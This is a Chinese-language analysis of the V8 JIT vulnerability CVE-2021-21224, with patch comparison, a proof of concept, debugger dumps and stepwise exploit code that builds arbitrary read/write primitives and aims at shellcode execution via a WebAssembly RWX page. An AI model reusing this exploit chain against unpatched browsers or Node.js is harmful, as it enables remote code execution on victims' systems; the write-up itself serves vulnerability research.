V8远程代码执行漏洞 一、漏洞信息 1、漏洞简述
漏洞名称:V8远程代码执行漏洞
漏洞编号:CVE-2021-21224
漏洞类型:JIT优化导致可构造超长数组进行任意地址读写
漏洞影响:远程代码执行
CVSS3.0:N/A
CVSS2.0:N/A
漏洞危害等级:严重
2、组件和漏洞概述 V8是Google使用C++编写的开源高性能JavaScript和WebAssembly引擎。它被广泛用于用于Chrome和Node.js等场景中。它实现了ECMAScript和WebAssembly功能。V8既可以在Windows 7及以上版本,macOS 10.12+和使用x64,IA-32,ARM或MIPS处理器的Linux等操作系统上运行。也可以独立运行,还可以嵌入到任何C ++应用程序中。
3、相关链接 issue 1195777
https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_20.html
4、解决方案 https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_20.html
二、漏洞复现 1、环境搭建 安装89.0.4389.90的Chrome浏览器
2、复现过程 1、在Chrome快捷方式->目标后面加上”–no-sandbox”,并使用该快捷方式启动Chrome,用来创建一个关闭沙箱的Chrome进程。
2、将漏洞文件拖入浏览器中执行
三、漏洞分析 1、基本信息
漏洞文件:representation-change.cc
漏洞函数:RepresentationChanger::GetWord32RepresentationFor
2、补丁对比 观察v8修复漏洞详情,可以看到,在调用 TruncateInt64ToInt32 函数之前增加了一项检查,检查了当 output_type 为 Type::Unsigned32 时,user_info的类型是否为 TypeCheckKind::kNone。
3、漏洞分析 (1)POC分析 1 2 3 4 5 6 7 8 9 function foo (a ) { let x = -1 ; if (a) x = 0xFFFFFFFF ; var arr = new Array (Math .sign(0 - Math .max(0 , x, -1 ))); arr.shift(); } for (var i = 0 ; i < 0x10000 ; ++i) foo(false ); foo(true );
分析下poc,在循环执行foo(false)函数时,Ignation会收集类型反馈并进行投机优化,交由TurboFan处理,此时最大值始终为0,最终会得到一个长度为0的数组,经由shift处理时,长度仍然为0;
最后执行foo(true)时,x值变为0XFFFFFFFF,当执行创建数组的操作时,执行了TruncateInt64ToInt32函数直接进行截断,而未进行类型检查,导致x被当作-1进行操作,此时创造了TurboFan意料之外的数据范围1 ,最终执行shift函数时创造了长度为-1的数组。
(2)执行流分析 在EscapeAnalysis阶段,程序的执行流按照我们所看到的那样,通过max函数确定函数的范围为(0,4294967295),经过sub操作后范围为(-4294967295,0),最后进行sign运算,得到的范围为(-1,0),最终进行边界检查,得到范围为(0,0)
而在SimplifiedLowering阶段,在select数据范围之后,调用了TruncateInt64ToInt32,最终在CheckedUint32Bounds得到的数据范围为Range(0,0).
(3)动态验证 调试v8,发现执行到 RepresentationChanger::GetWord32RepresentationFor 函数处理 output_rep 为 MachineRepresentation::kWord64 时的逻辑如下,此时的use_info的类型为 kSignedSmall 类型,由于该处并未对use_info执行检查,导致opcode为 TruncateInt64ToInt32 。
而当对漏洞代码进行修复后,则会执行CheckedUint64ToInt32或CheckedInt64ToInt32函数来对output_rep进行处理。
修复漏洞后的执行流程如下,此时确实调用了CheckedInt64ToInt32函数对操作数进行了处理
(4)EXP构造 公开exp的构造方式并非为传统的构造addressOf和fakeObject原语以及任意读写原语,而是通过DataView对象直接操作漏洞bufffer进行任意读写。
(1)构造超长数组 根据上面的分析,可以得到一个长度为-1的超长的数组,下面是定义的gadget代码以及得到长度为-1数组的代码,代码中LeakArrayBuffer继承于ArrayBuffer,重写的LeakArrayBuffer与ArrayBuffer不同的地方在于定义了一个变量slot,定义该变量的目的就是为了通过类型混淆达到相对地址读的作用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function hex (i ) { return ("0x" +i.toString(16 )); } function gc ( ) { for (var i = 0 ; i < 0x80000 ; ++i) { var a = new ArrayBuffer (); } } class LeakArrayBuffer extends ArrayBuffer { constructor (size ) { super (size); this .slot = 0xb33f ; } } function foo (a ) { let x = -1 ; if (a) x = 0xFFFFFFFF ; var arr = new Array (Math .sign(0 - Math .max(0 , x, -1 ))); arr.shift(); let local_arr = Array (2 ); local_arr[0 ] = 5.1 ; let buff = new LeakArrayBuffer(0x1000 ); arr[0 ] = 0x1122 ; return [arr, local_arr, buff]; } for (var i = 0 ; i < 0x10000 ; ++i) foo(false ); [corrupt_arr, rwarr, corrupt_buff] = foo(true ); console .log(corrupt_arr.length); %DebugPrint(corrupt_arr); %SystemBreak();
执行结果如下,从下面的执行结果可以看出corrupt_arr数组的长度为-1,并且打印出了corrupt_arr参数地址以及第0-17元素的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 root@ubuntu:~/v8/v8/out/x64.release# ./d8 test1.js --allow-natives-syntax -1 DebugPrint: 0x11930809ca05: [JSArray] - map: 0x1193082439c9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties] - prototype: 0x11930820b959 <JSArray[0]> - elements: 0x11930809c9f9 <FixedArray[67244566]> [HOLEY_SMI_ELEMENTS] - length: -1 - properties: 0x11930804222d <FixedArray[0]> - All own properties (excluding elements): { 0x1193080446c1: [String] in ReadOnlySpace: #length: 0x11930818215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x11930809c9f9 <FixedArray[67244566]> { 0: 4386 1: 0x1193082439c9 <Map(HOLEY_SMI_ELEMENTS)> 2: 0x11930804222d <FixedArray[0]> 3: 0x11930809c9f9 <FixedArray[67244566]> 4: -1 5: 0x119308042205 <Map> 6: 2 7-8: 0x11930804242d <the_hole> 9: 0x119308243a19 <Map(HOLEY_DOUBLE_ELEMENTS)> 10: 0x11930804222d <FixedArray[0]> 11: 0x11930809ca39 <FixedDoubleArray[2]> 12: 2 13: 0x1193080422c5 <Map[4]> 14: 0x119308042a95 <Map> 15: 2 16: 858993459 17: 537539379 Received signal 11 SEGV_ACCERR 1193fff7fffc ==== C stack trace =============================== [0x55d5d79b7b57] [0x7f2be3f1c980] [0x55d5d717ff59] [0x55d5d717fc77] [0x55d5d6eece05] [0x55d5d6eeb455] [0x55d5d6eeeecd] [0x55d5d6ee718d] [0x55d5d6edd188] [0x55d5d6edc522] [0x55d5d72fd95e] [0x55d5d72f177e] [0x1193000b2213] [end of stack trace] 段错误 (核心已转储) root@ubuntu:~/v8/v8/out/x64.release#
(2)构建恶意DataView对象进行漏洞利用 这一步是这个漏洞利用比较精妙的部分了,首先通过查看内存获取corrupt_arr与rwarr的偏移量(调试信息中,上面的是rwarr的内存,下面的是corrupt_arr的内存,由于corrupt_arr的数组已经损坏,所以将corrupt_arr放在上面读取信息时会出错)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 root@ubuntu:~/v8/ v8/out/x64.release# ./d8 test1.js --allow-natives-syntax -1 DebugPrint : 0xda708098035 : [JSArray] - map: 0x0da708243a19 <Map (HOLEY_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x0da70820b959 <JSArray[0 ]> - elements: 0x0da708098049 <FixedDoubleArray[2 ]> [HOLEY_DOUBLE_ELEMENTS] - length: 2 - properties: 0x0da70804222d <FixedArray[0 ]> - All own properties (excluding elements): { 0xda7080446c1 : [String ] in ReadOnlySpace: #length: 0x0da70818215d <AccessorInfo> (const accessor descriptor), location : descriptor } - elements: 0x0da708098049 <FixedDoubleArray[2 ]> { 0 : 5.1 1 : <the_hole> } ... DebugPrint : 0xda708098015 : [JSArray] - map: 0x0da7082439c9 <Map (HOLEY_SMI_ELEMENTS)> [FastProperties] - prototype: 0x0da70820b959 <JSArray[0 ]> - elements: 0x0da708098009 <FixedArray[67244566 ]> [HOLEY_SMI_ELEMENTS] - length: -1 - properties: 0x0da70804222d <FixedArray[0 ]> - All own properties (excluding elements): { 0xda7080446c1 : [String ] in ReadOnlySpace: #length: 0x0da70818215d <AccessorInfo> (const accessor descriptor), location : descriptor } - elements: 0x0da708098009 <FixedArray[67244566 ]> { 0 : 4386 1 : 0x0da7082439c9 <Map (HOLEY_SMI_ELEMENTS)> 2 : 0x0da70804222d <FixedArray[0 ]> 3 : 0x0da708098009 <FixedArray[67244566 ]> 4 : -1 5 : 0x0da708042205 <Map > 6 : 2 7 -8 : 0x0da70804242d <the_hole> 9 : 0x0da708243a19 <Map (HOLEY_DOUBLE_ELEMENTS)> 10 : 0x0da70804222d <FixedArray[0 ]> 11 : 0x0da708098049 <FixedDoubleArray[2 ]> 12 : 2 13 : 0x0da7080422c5 <Map [4 ]> 14 : 0x0da708042a95 <Map > 15 : 2 16 : 858993459 17 : 537539379 Received signal 11 SEGV_ACCERR 0da7fff7fffc ...
由上面的结果可以推算出(0xda708098035-0x0da708098009)/4 -> 0x2c/4 -> 11,所以corrupt_arr偏移11的位置为rwarr的map,那么corrupt_arr偏移12的位置处为rwarr的length(具体内存结构可以通过动态调试来获取)。
那么我们修改rwarr的length语句则为,之后销毁那个被损坏的数组对象
1 2 corrupt_arr[12 ] = 0x22444 ; delete corrupt_arr;
之后我们的相对内存读写通过这个未被损坏的数组进行操作。接下来构造两个函数,实现如下
1 2 3 4 5 6 7 function setbackingStore (hi, low ) { rwarr[4 ] = i2f(f2i(rwarr[4 ]), hi); rwarr[5 ] = i2f(low, f4i(rwarr[5 ])); } function leakObjLow (o ) { corrupt_buff.slot = o; return (f2i(rwarr[9 ]) - 1 ); }
leakObjLow主要是为了泄露低地址的值,由于采用了地址压缩,所以当前内存中只存取了低四字节地址。内存如下(rwarr[9]为slot的内存,rwarr[4]的高地址和rwarr[5]的低地址为corrupt_buff的backing_store属性值,通过恶意DataView对象对backing_store进行操作,即可完成任意地址读写)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pwndbg> telescope 0x0766080e8099-1 rwarr_addr 00:0000│ 0x766080e8098 ◂— 0x408042a95 01:0008│ 0x766080e80a0 ◂— 0x4014666666666666 rwarr[0] 02:0010│ 0x766080e80a8 ◂— 0xfff7fffffff7ffff 03:0018│ 0x766080e80b0 ◂— 0x804222d08247231 04:0020│ 0x766080e80b8 ◂— 0x10000804222d 05:0028│ 0x766080e80c0 ◂— 0xec3bfdf000000000 rwarr[4] 06:0030│ 0x766080e80c8 ◂— 0xec3bfdc0000055fd rwarr[5] 07:0038│ 0x766080e80d0 ◂— 0x2000055fd pwndbg> telescope 0x766080e80b1-1 corrupt_buff_addr 00:0000│ 0x766080e80b0 ◂— 0x804222d08247231 01:0008│ 0x766080e80b8 ◂— 0x10000804222d 02:0010│ 0x766080e80c0 ◂— 0xec3bfdf000000000 03:0018│ 0x766080e80c8 ◂— 0xec3bfdc0000055fd 04:0020│ 0x766080e80d0 ◂— 0x2000055fd 05:0028│ 0x766080e80d8 ◂— 0x0 06:0030│ 0x766080e80e0 ◂— 0x0 07:0038│ 0x766080e80e8 ◂— 0x80422050001667e rwarr[9] 08:0040│ 0x766080e80f0 ◂— 0x80e806500000006 ─ pwndbg> job 0x766080e80b1 18-19: [weak] 0x0766fff7fffd 0x766080e80b1: [JSArrayBuffer] - map: 0x076608247231 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x07660818cb45 <LeakArrayBuffer map = 0x76608247209> - elements: 0x07660804222d <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x55fdec3bfdf0 - byte_length: 4096 - detachable - properties: 0x07660804222d <FixedArray[0]> - All own properties (excluding elements): { 0x76608212b89: [String] in OldSpace: #slot: 45887 (const data field 0), location: in-object } - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) }
不过到目前为止我们只获得了低四位的地址,并不能进行绝对地址写,我们需要获得当前空间的高四位基址,可以通过以下的代码进行实现,最终得到的this.base为基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 let corrupt_view = new DataView (corrupt_buff); let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff); let idx0Addr = corrupt_buffer_ptr_low - 0x10 ; let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000 ) - ((corrupt_buffer_ptr_low & 0xffff0000 ) % 0x40000 ) + 0x40000 ; let delta = baseAddr + 0x1c - idx0Addr; if ((delta % 8 ) == 0 ) { let baseIdx = delta / 8 ; this .base = f2i(rwarr[baseIdx]); } else { let baseIdx = ((delta - (delta % 8 )) / 8 ); this .base = f4i(rwarr[baseIdx]); }
最终可以通过setbackingStore操作地址进行任意地址读写,泄露出rwx地址并写入shellcode,最终执行shellcode
1 let wasmInsAddr = leakObjLow(wasmInstance); setbackingStore(wasmInsAddr, this .base); let rwx_page_addr = corrupt_view.getFloat64(0x68 , true );
使用的shellcode如下
最终复现结果如下
3、漏洞修复 issue 1195777
https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_20.html
四、总结与思考 该漏洞为CVE-2021-21220的exp公开不久后公布的,是2021HW中的两枚重磅炸弹,虽然都不可以进行沙箱逃逸,但是仍然可以在一些不开启沙箱的情况下进行使用。该公开的exp的利用手法比较巧妙,通过corrupt_arr修改rwarr数组长度,rwarr具有八字节读写能力,之后通过rwarr相对地址读写可以操作corrupt_buff进而造成任意地址读写
五、参考 [1]. http://noahblog.360.cn/chromium_v8_remote_code_execution_vulnerability_analysis/
[2]. https://github.com/avboy1337/1195777-chrome0day